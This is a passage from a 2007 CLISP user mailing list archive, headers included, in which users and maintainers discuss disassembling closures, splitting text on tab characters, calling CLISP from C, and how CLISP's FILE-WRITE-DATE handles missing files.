>> >> your question was answered with an FAQ link. >> the fine for asking questions before consulting the FAQ list is $10. > > Oh, sorry. Thank you! http://clisp.podval.org/impnotes/faq.html#faq-fine From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 19 08:52:03 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HTK9S-0002Qj-Tc for clisp-list@lists.sourceforge.net; Mon, 19 Mar 2007 08:52:03 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HTK9R-0002Qc-Bw for clisp-list@lists.sourceforge.net; Mon, 19 Mar 2007 08:52:02 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 19 Mar 2007 15:08:46 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by s4de8psaans.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Mon, 19 Mar 2007 15:08:22 +0100 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Mon, 19 Mar 2007 15:08:45 +0100 Message-Id: In-Reply-To: <45D367B2.20905@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Status of CLISP bytecode --> Java bytecode task? Thread-Index: AcdQcTndj0DdP8fzREqDmGG92rL2wwZvYqRw From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 19 Mar 2007 14:08:22.0945 (UTC) FILETIME=[0E03C110:01C76A30] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] disassemble closures (was: Status of CLISP bytecode --> Java bytecode task?) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 19 Mar 2007 15:52:04 -0000 Sam Steingold wrote: >> For example, cl:disassemble doesn't dump the local and anonymous >> functions defined in a function. >LOCAL macro is what you are looking for. >[7]> (defun f (a l) (flet ((g (x) (* a x))) (mapcar #'g l))) >[8]> (disassemble 'f) >[9]> (disassemble (local f g)) Long time ago, Bruno Haible pointed me to (sys::disassemble-closures # *standard-output*) It's been working ever since. Maybe an extra keyword argument ot DISASSEMBLE would be nice? But I forgot what CLHS has to say on extensions to its standard functions. FWIW, there's also that non-standard DECLARE extension to have the REPL's interpreter compile what you give it: (defun f (a l) (declare (compile)) (flet ((g (x) (* a x))) (mapcar #'g l))) This also works inside LET, LAMBDA or any other form that accepts declarations. (mapcar (lambda(x)(declare(compile))...) #) This is quite handy in the interactive environment here and there. Regards, Jorg Hohle. From phiroc@free.fr Thu Mar 22 01:26:16 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HUIci-00028a-CX for clisp-list@lists.sourceforge.net; Thu, 22 Mar 2007 01:26:16 -0700 Received: from smtp8-g19.free.fr ([212.27.42.65]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HUIcg-0006HH-UM for clisp-list@lists.sourceforge.net; Thu, 22 Mar 2007 01:26:16 -0700 Received: from imp7-g19.free.fr (imp7-g19.free.fr [212.27.42.38]) by smtp8-g19.free.fr (Postfix) with ESMTP id A4AFD16446 for ; Thu, 22 Mar 2007 09:26:12 +0100 (CET) Received: by imp7-g19.free.fr (Postfix, from userid 33) id 7BDCA115DA; Thu, 22 Mar 2007 09:26:12 +0100 (CET) Received: from 220.227.210.62.te-dns.org (220.227.210.62.te-dns.org [62.210.227.220]) by imp.free.fr (IMP) with HTTP for ; Thu, 22 Mar 2007 09:26:12 +0100 Message-ID: <1174551972.46023da473298@imp.free.fr> Date: Thu, 22 Mar 2007 09:26:12 +0100 From: phiroc@free.fr To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.2.5 X-Originating-IP: 62.210.227.220 X-Spam-Score: 1.7 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Newbie: splitting on tabulation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 Mar 2007 08:26:17 -0000 Hello, when I run the LISP program below #!/usr/bin/clisp -C (DEFPACKAGE "REGEXP-TEST" (:use "LISP" "REGEXP")) (IN-PACKAGE "REGEXP-TEST") (with-open-file (f "test.txt") (with-loop-split (s f "\t") (print s))) on Hello world Hello goodbye Hello Dolly where each line contains a word, a tab, and another word I get ("Hello world") ("Hello goodbye") ("Hello Dolly") How do you specify a tab in with-loop-split? Many thanks. phiroc From pjb@informatimago.com Thu Mar 22 03:05:53 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HUKB6-0003ss-O0 for clisp-list@lists.sourceforge.net; Thu, 22 Mar 2007 03:05:53 -0700 Received: from voyager.informatimago.com ([88.198.62.69]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HUKB1-0000In-Us for clisp-list@lists.sourceforge.net; Thu, 22 Mar 2007 03:05:52 -0700 Received: by voyager.informatimago.com (Postfix, from userid 1000) id ED89043C2FC; Thu, 22 Mar 2007 11:05:49 +0100 (CET) From: Pascal Bourguignon Message-ID: <17922.21757.959425.303147@voyager.informatimago.com> Date: Thu, 22 Mar 2007 11:05:49 +0100 To: phiroc@free.fr In-Reply-To: <1174551972.46023da473298@imp.free.fr> References: <1174551972.46023da473298@imp.free.fr> X-Mailer: VM 7.19 under Emacs 22.0.94.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Newbie: splitting on tabulation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 Mar 2007 10:05:53 -0000 phiroc@free.fr writes: > (DEFPACKAGE "REGEXP-TEST" (:use "LISP" "REGEXP")) > (IN-PACKAGE "REGEXP-TEST") > (with-open-file (f "test.txt") > (with-loop-split (s f "\t") > (print s))) > How do you specify a tab in with-loop-split? Read again the specifications of Common Lisp. You're not in C anymore. http://www.lispworks.com/documentation/HyperSpec/Body/02_de.htm If a single escape character is seen, the single escape character is discarded, the next character is accumulated, and accumulation continues. Try: (princ "\t") TAB may mean nothing on some systems where Common Lisp works. TAB is a control code in the ASCII (and therefore ISO-8859 and therefore Unicode) character encoding, but on systems where these encodings are not used, TAB may well not exist, and nowadays, very few devices still exist interpreting such a control code. It was used to control the movement of the carriage on a teletype. When was the last time you used a teletype? Anyways, you're still lucky. In the implementations that have such a control code, its mapped to a Common Lisp character with a standard name: #\tab And clisp is one of them. So you can insert such a control code in a Common Lisp or clisp program like this: (format nil "before TAB >~C< after TAB" #\tab) If you want a string with only a TAB control code in it: (defparameter *tab* (format nil "~C" #\tab)) ; or: (defparameter *tab* (make-string 1 :initial-element #\tab)) Note that when you want to split a string on a single character, you can use split-sequence (from the separately provided, de-facto standard split-sequence package): (split-sequence:split-sequence #\tab some-string) Finally, I like to write portable programs, so I wouldn't use #\tab without first testing if it exists: (defun tab-exists-p () (ignore-errors (read-from-string "#\tab"))) Then I could write: (defparameter *tab* (or (tab-exists-p) (make-my-own-object-representing-something-like-tab-to-do-whatever-I-might-want-to-do-with-such-a-thing))) -- __Pascal Bourguignon__ http://www.informatimago.com http://pjb.ogamita.org From phiroc@free.fr Thu Mar 22 03:25:50 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HUKUP-0005rj-GS for clisp-list@lists.sourceforge.net; Thu, 22 Mar 2007 03:25:50 -0700 Received: from smtp4-g19.free.fr ([212.27.42.30]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HUKUN-0004uc-Pu for clisp-list@lists.sourceforge.net; Thu, 22 Mar 2007 03:25:49 -0700 Received: from imp2-g19.free.fr (imp2-g19.free.fr [212.27.42.2]) by smtp4-g19.free.fr (Postfix) with ESMTP id B90BA68212; Thu, 22 Mar 2007 11:25:46 +0100 (CET) Received: by imp2-g19.free.fr (Postfix, from userid 33) id 8A38E11CDA; Thu, 22 Mar 2007 11:25:46 +0100 (CET) Received: from mailhost.dataconsult.fr (mailhost.dataconsult.fr [194.3.113.1]) by imp.free.fr (IMP) with HTTP for ; Thu, 22 Mar 2007 11:25:46 +0100 Message-ID: <1174559146.460259aa74033@imp.free.fr> Date: Thu, 22 Mar 2007 11:25:46 +0100 From: phiroc@free.fr To: pjb@informatimago.com References: <1174551972.46023da473298@imp.free.fr> <17922.21757.959425.303147@voyager.informatimago.com> In-Reply-To: <17922.21757.959425.303147@voyager.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.2.5 X-Originating-IP: 194.3.113.1 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Newbie: splitting on tabulation X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 22 Mar 2007 10:25:50 -0000 Thanks for the information. (format nil "~C" #\tab) did the trick. phiroc #!/usr/bin/clisp -C (DEFPACKAGE "REGEXP-TEST" (:use "LISP" "REGEXP")) (IN-PACKAGE "REGEXP-TEST") (with-open-file (f "test.txt") (with-loop-split (s f (format nil "~C" #\tab)) (print s))) Quoting Pascal Bourguignon : > phiroc@free.fr writes: > > (DEFPACKAGE "REGEXP-TEST" (:use "LISP" "REGEXP")) > > (IN-PACKAGE "REGEXP-TEST") > > (with-open-file (f "test.txt") > > (with-loop-split (s f "\t") > > (print s))) > > How do you specify a tab in with-loop-split? > > Read again the specifications of Common Lisp. You're not in C anymore. > http://www.lispworks.com/documentation/HyperSpec/Body/02_de.htm > > If a single escape character is seen, the single escape character > is discarded, the next character is accumulated, and accumulation > continues. > > Try: > > (princ "\t") > > > TAB may mean nothing on some systems where Common Lisp works. > > TAB is a control code in the ASCII (and therefore ISO-8859 and > therefore Unicode) character encoding, but on systems where these > encodings are not used, TAB may well not exist, and nowadays, very few > devices still exist interpreting such a control code. It was used to > control the movement of the carriage on a teletype. When was the last > time you used a teletype? > > > Anyways, you're still lucky. In the implementations that have such a > control code, its mapped to a Common Lisp character with a standard > name: #\tab > > And clisp is one of them. > > > So you can insert such a control code in a Common Lisp or clisp > program like this: > > (format nil "before TAB >~C< after TAB" #\tab) > > If you want a string with only a TAB control code in it: > > (defparameter *tab* (format nil "~C" #\tab)) > ; or: > (defparameter *tab* (make-string 1 :initial-element #\tab)) > > > > Note that when you want to split a string on a single character, you > can use split-sequence (from the separately provided, de-facto > standard split-sequence package): > > (split-sequence:split-sequence #\tab some-string) > > > > > Finally, I like to write portable programs, so I wouldn't use #\tab > without first testing if it exists: > > (defun tab-exists-p () > (ignore-errors (read-from-string "#\tab"))) > > Then I could write: > > (defparameter *tab* (or (tab-exists-p) > > (make-my-own-object-representing-something-like-tab-to-do-whatever-I-might-want-to-do-with-such-a-thing))) > > > -- > __Pascal Bourguignon__ > http://www.informatimago.com > http://pjb.ogamita.org > From vadim@vkonovalov.ru Fri Mar 23 11:27:52 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HUoUQ-0005uH-9q for clisp-list@lists.sourceforge.net; Fri, 23 Mar 2007 11:27:51 -0700 Received: from cp5.agava.net ([89.108.64.152]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HUoUR-00022l-RD for clisp-list@lists.sourceforge.net; Fri, 23 Mar 2007 11:27:52 -0700 Received: from clamav by cp5.agava.net with drweb-scanned (Exim 4.44 (FreeBSD)) id 1HUoUE-000BPa-Fa; Fri, 23 Mar 2007 21:27:38 +0300 Received: from [91.122.92.122] (helo=[192.168.1.10]) by cp5.agava.net with esmtpa (Exim 4.44 (FreeBSD)) id 1HUoUE-000BOk-Aa; Fri, 23 Mar 2007 21:27:38 +0300 Message-ID: <46041B80.4060301@vkonovalov.ru> Date: Fri, 23 Mar 2007 21:25:04 +0300 From: Vadim User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Konovalov, Vadim Vladimirovich (Vadim)** CTR **" References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - cp5.agava.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [106 106] / [26 6] X-AntiAbuse: Sender Address Domain - vkonovalov.ru X-Source: X-Source-Args: X-Source-Dir: X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How can I use clisp from C programs X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 Mar 2007 18:27:52 -0000 Dear all, I want to use clisp from C (actually from Tcl and Perl, oh, dont ask why :) I have installed clisp on my Woe32 but see no "lib" files there where I could link my C binaries against. I am aware of other way round - when LISP calls C functions using FFI, but this time I need to call LISP from C. Thanks in advance for any advices on the matter. Vadim. From sds@gnu.org Fri Mar 23 11:52:06 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HUort-0008TW-4f for clisp-list@lists.sourceforge.net; Fri, 23 Mar 2007 11:52:05 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HUors-00053W-7T for clisp-list@lists.sourceforge.net; Fri, 23 Mar 2007 11:52:06 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A1C9022C; Fri, 23 Mar 2007 14:51:53 -0400 Message-ID: <460421C8.90601@gnu.org> Date: Fri, 23 Mar 2007 14:51:52 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Vadim References: <46041B80.4060301@vkonovalov.ru> In-Reply-To: <46041B80.4060301@vkonovalov.ru> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How can I use clisp from C programs X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 Mar 2007 18:52:06 -0000 Vadim wrote: > I want to use clisp from C http://clisp.cons.org/impnotes/dffi.html#def-call-in http://clisp.cons.org/impnotes/dffi.html#ex-call-in http://clisp.cons.org/impnotes/dffi.html#ex-call-in-dll http://clisp.podval.org/impnotes/faq.html#faq-fine From vadim@vkonovalov.ru Fri Mar 23 13:16:56 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HUqBy-0000Xd-Ma for clisp-list@lists.sourceforge.net; Fri, 23 Mar 2007 13:16:55 -0700 Received: from cp5.agava.net ([89.108.64.152]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1HUqBt-0007Es-Hb for clisp-list@lists.sourceforge.net; Fri, 23 Mar 2007 13:16:54 -0700 Received: from clamav by cp5.agava.net with drweb-scanned (Exim 4.44 (FreeBSD)) id 1HUqBc-000Po4-OF for clisp-list@lists.sourceforge.net; Fri, 23 Mar 2007 23:16:32 +0300 Received: from [91.122.92.122] (helo=[192.168.1.10]) by cp5.agava.net with esmtpa (Exim 4.44 (FreeBSD)) id 1HUqBc-000PnW-Fx for clisp-list@lists.sourceforge.net; Fri, 23 Mar 2007 23:16:32 +0300 Message-ID: <4604350A.8070403@vkonovalov.ru> Date: Fri, 23 Mar 2007 23:14:02 +0300 From: Vadim User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <46041B80.4060301@vkonovalov.ru> <460421C8.90601@gnu.org> In-Reply-To: <460421C8.90601@gnu.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - cp5.agava.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [106 106] / [26 6] X-AntiAbuse: Sender Address Domain - vkonovalov.ru X-Source: X-Source-Args: X-Source-Dir: X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: Re: [clisp-list] How can I use clisp from C programs X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 Mar 2007 20:16:56 -0000 Sam Steingold wrote: > Vadim wrote: > >> I want to use clisp from C > > > http://clisp.cons.org/impnotes/dffi.html#def-call-in > http://clisp.cons.org/impnotes/dffi.html#ex-call-in > http://clisp.cons.org/impnotes/dffi.html#ex-call-in-dll thanks a lot > > http://clisp.podval.org/impnotes/faq.html#faq-fine > Interestingly, my printed copy do not contain this particular section about $10 (it starts directly from the question "documentation sucks" :) The documentation is really good, and, donating some $10 is reasonable indeed. I have problems transferring the money, however, but once you'll be in St.Petersburg (Russia) or I will be eventually in some lisp conference, be sure to get a number of quality beer from me! Until then, I will try compensate by applying my weak efforts on helping with CLISP itself. With deepest respect, Vadim. From yuri.niyazov@gmail.com Fri Mar 23 14:37:49 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HUrSH-0000Iv-5I for clisp-list@lists.sourceforge.net; Fri, 23 Mar 2007 14:37:49 -0700 Received: from nz-out-0506.google.com ([64.233.162.226]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HUrSE-0003cs-Qf for clisp-list@lists.sourceforge.net; Fri, 23 Mar 2007 14:37:49 -0700 Received: by nz-out-0506.google.com with SMTP id i11so1198333nzi for ; Fri, 23 Mar 2007 14:37:46 -0700 (PDT) Received: by 10.64.213.3 with SMTP id l3mr7588910qbg.1174685865906; Fri, 23 Mar 2007 14:37:45 -0700 (PDT) Received: by 10.64.49.8 with HTTP; Fri, 23 Mar 2007 14:37:45 -0700 (PDT) Message-ID: Date: Fri, 23 Mar 2007 17:37:45 -0400 From: "Yuri Niyazov" Sender: yuri.niyazov@gmail.com To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Google-Sender-Auth: 1e068b84a2aabd3a X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] question about CLISP's implementation of file-write-date X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 Mar 2007 21:37:49 -0000 Hello, I am trying to get the "Paradigms of Artificial Intelligence Programming" source code on CLisp. I am getting errors when trying to load the code for the following reason: the code checks for existence of files by calling (file-write-date pathname). It expects that if the file is not there, the value of that form will be NIL. However, CLISP's implementation causes an error, which prevents the rest of the code from loading (the code is not written with an unwind-protect) [1]> (file-write-date "/bin/ping") 3307624094 [2]> (file-write-date "/bin/ping2") *** - FILE-WRITE-DATE: file #P"/bin/ping2" does not exist The following restarts are available: ABORT :R1 ABORT My installation of Allegro Common Lisp returns NIL in the second (non-existent file) case. The hyperspec (http://www.lisp.org/HyperSpec/Body/fun_file-write-date.html) says: --start quote-- Description: Returns a universal time representing the time at which the file specified by pathspec was last written (or created), or returns nil if such a time cannot be determined. --snip-- An error of type file-error is signaled if the file system cannot perform the requested operation. --end quote-- My specific question is - is this a known ambiguity in the specification of ANSI CL, and different implementations purposefully choose different results, is this an oversight of the authors of PAIP, or is this a CLisp issue? clisp --version GNU CLISP 2.38 (2006-01-24) (built 3356591968) (memory 3382404154) Software: GNU C 3.3.5 (Debian 1:3.3.5-13) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -I. -x none libcharset.a libavcall.a libcallback.a /usr/lib/libreadline.so -lncurses -ldl -L/usr/lib -lsigsegv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libreadline 5.0 Features: (ASDF CLC-OS-DEBIAN COMMON-LISP-CONTROLLER CLX-ANSI-COMMON-LISP CLX READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp readline linux clx) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I686 (I686) colinux From Devon@Jovi.Net Sat Mar 24 07:59:55 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HV7ik-0003yw-RL for clisp-list@lists.sourceforge.net; Sat, 24 Mar 2007 07:59:55 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HV7ig-0005gW-0a for clisp-list@lists.sourceforge.net; Sat, 24 Mar 2007 07:59:54 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id l2OERPGU087959 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 24 Mar 2007 10:27:26 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id l2OERKql087956; Sat, 24 Mar 2007 10:27:20 -0400 (EDT) (envelope-from Devon@Jovi.Net) Date: Sat, 24 Mar 2007 10:27:20 -0400 (EDT) Message-Id: <200703241427.l2OERKql087956@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: Yuri Niyazov In-reply-to: (yuricake@gmail.com) References: <200703232216.l2NMG07c060188@grant.org> X-DCC--Metrics: grant.org 1113; Body=3 Fuz1=3 Fuz2=3 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Sat, 24 Mar 2007 10:27:26 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] question about CLISP's implementation of file-write-date X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 24 Mar 2007 14:59:55 -0000 On 3/23/07, Devon Sean McCullough wrote: ... HyperSpec/Issues/iss267_w.htm Date: Fri, 23 Mar 2007 18:27:44 -0400 From: "Yuri Niyazov" ... talks about ... wildcards ... only ... My mistake. I thought it covered how loosely or tightly to specify the file system interface. They failed to reach consensus so each implementor must extend pathname and file system access which are unusably lame as under-specified. The lack of a standard way to map, e.g., unix pathnames foo <-> foo/ is beyond comprehension. Scheme did a good job, perhaps there is a portable Common Lisp package that implements Schemish pathname-as-directory, etc.? Peace --Devon /~\ \ / Health Care X not warfare / \ Dubya won the digital vote Kerry won the popular vote PS: I imagine this issue was beaten to death years ago, well I wish but still no clear consensus. Maybe at the next Lisp conference? Date: Fri, 23 Mar 2007 18:27:44 -0400 From: "Yuri Niyazov" To: "Devon Sean McCullough" Subject: Re: [clisp-list] question about CLISP's implementation of file-write-date In-Reply-To: <200703232216.l2NMG07c060188@grant.org> Hi Devon, Thank you for the prompt reply. Can you be more specific by what you mean? I just read through that document - it talks about issues surrounding wildcards in paths only - it does mention file-write-date once, but still only in context of its behavior with regards to wildcards, whereas my question is not wildcard-related. YN. On 3/23/07, Devon Sean McCullough wrote: > Look at HyperSpec/Issues/iss267_w.htm > for discussion by the committee > while writing the spec. > > Peace > --Devon > /~\ > \ / Health Care > X not warfare > / \ > > Dubya won the digital vote > Kerry won the popular vote > > Date: Fri, 23 Mar 2007 17:37:45 -0400 > From: "Yuri Niyazov" > To: clisp-list@lists.sourceforge.net > X-Google-Sender-Auth: 1e068b84a2aabd3a > Subject: [clisp-list] question about CLISP's implementation of file-write-date > > Hello, > > I am trying to get the "Paradigms of Artificial Intelligence > Programming" source code on CLisp. I am getting errors when trying to > load the code for the following reason: > > the code checks for existence of files by calling (file-write-date > pathname). It expects that if the file is not there, the value of that > form will be NIL. However, CLISP's implementation causes an error, > which prevents the rest of the code from loading (the code is not > written with an unwind-protect) > > [1]> (file-write-date "/bin/ping") > 3307624094 > [2]> (file-write-date "/bin/ping2") > > *** - FILE-WRITE-DATE: file #P"/bin/ping2" does not exist > The following restarts are available: > ABORT :R1 ABORT > > My installation of Allegro Common Lisp returns NIL in the second > (non-existent file) case. > > The hyperspec (http://www.lisp.org/HyperSpec/Body/fun_file-write-date.html) > says: > > --start quote-- > Description: > > Returns a universal time representing the time at which the file > specified by pathspec was last written (or created), or returns nil if > such a time cannot be determined. > --snip-- > An error of type file-error is signaled if the file system cannot > perform the requested operation. > --end quote-- > > My specific question is - is this a known ambiguity in the > specification of ANSI CL, and different implementations purposefully > choose different results, is this an oversight of the authors of PAIP, > or is this a CLisp issue? > > clisp --version > GNU CLISP 2.38 (2006-01-24) (built 3356591968) 